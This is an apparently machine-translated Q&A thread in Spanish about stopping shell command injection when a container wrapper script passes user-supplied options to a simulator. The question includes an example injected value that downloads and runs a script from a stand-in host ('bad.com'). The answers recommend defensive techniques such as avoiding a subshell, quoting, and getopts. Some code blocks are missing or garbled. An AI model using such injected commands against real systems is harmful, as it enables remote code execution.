Tengo una aplicación de contenedor donde necesito permitir que el usuario especifique opciones personalizadas para pasar a un simulador. Sin embargo, quiero asegurarme de que el usuario no inyecte otros comandos a través de las opciones del usuario. ¿Cuál es la mejor manera de lograr esto?
Por ejemplo.
- El usuario proporciona:
-a -b - La aplicación se ejecuta:
mysim --preset_opt -a -b
Sin embargo, no quiero que esto suceda:
- El usuario proporciona:
&& wget http:\\bad.com\bad_code.sh && .\bad_code.sh - La aplicación se ejecuta:
mysim --preset_opt && wget http:\\bad.com\bad_code.sh && .\bad_code.sh
Actualmente, estoy pensando que podría simplemente rodear cada opción proporcionada por el usuario con comillas simples 'y eliminar cualquier comilla simple proporcionada por el usuario, para que el comando en el último ejemplo resulte ser inofensivo:
mysim -preset_opt '&&' 'wget' 'http:\\bad.com\bad_code.sh' '&&' '.\bad_code.sh'
Nota: El mysimcomando se ejecuta como parte de un script de shell en un contenedor docker / lxc. Estoy ejecutando Ubuntu.

evalpara ejecutar la aplicación? Si no es así, la inyección no debería ocurrir:x="&& echo Doomed" ; echo $xeval. Estoy llamando al ejecutablemysimdentro de un script de shell. Estoy viendo que la inyección ocurre si simplemente copio la cadena de opciones que proporciona el usuario y la pego al final delmysimcomando.-a -b. Así que estoy buscando asegurarme de que no se inyecten comandos adicionales en esa cadena.[a-zA-Z0-9 _-]parezca una opción bastante defensiva.Respuestas:
Si tiene control sobre el programa contenedor, asegúrese de que no invoque una subshell. En el fondo, una instrucción para ejecutar un programa consiste en la ruta completa (absoluta o relativa al directorio actual) al ejecutable, y una lista de cadenas para pasar como argumentos. La búsqueda de RUTA, los argumentos de separación de espacios en blanco, las citas y los operadores de control son proporcionados por el shell. Sin caparazón, sin dolor.
Por ejemplo, con un contenedor Perl, use la forma de lista de
execosystem. En muchos idiomas, llame a una de las funcionesexecoexecXXX(ounix.execcomo se llame) en lugar desystem, oos.spawnconshell=False, o lo que sea necesario.Si el contenedor es un script de shell, úselo
"$@"para pasar los argumentos, por ej.Si no tiene otra opción y el programa contenedor invoca un shell, deberá citar los argumentos antes de pasarlos al shell. La manera fácil de citar argumentos es hacer lo siguiente:
'(comilla simple) por la cadena de cuatro caracteres'\''. (por ejemplo, sedon'tconviertedon'\''t)'al comienzo de cada argumento y también al final de cada argumento. (por ejemplodon't, de , sedon'\''tconvierte'don'\''t')Si necesita hacer esto en una envoltura de shell, aquí hay una manera.
(Desafortunadamente, la
${VAR//PATTERN/REPLACEMENT}construcción de bash , que debería ser útil aquí, requiere citas extrañas, y no creo que pueda obtenerla'\''como texto de reemplazo).fuente
Puede usar el
${VAR//PATTERN/REPLACEMENT}modismo de Bash para transformar una comilla simple'introduciendo'\''primero'\''una variable (como un paso intermedio) y luego expandiendo esta variable como elREPLACEMENTelemento en el modismo de Bash mencionado.fuente
Puede utilizar
getoptsen elbashque puede analizar los argumentos para usted, por ejemplo:fuente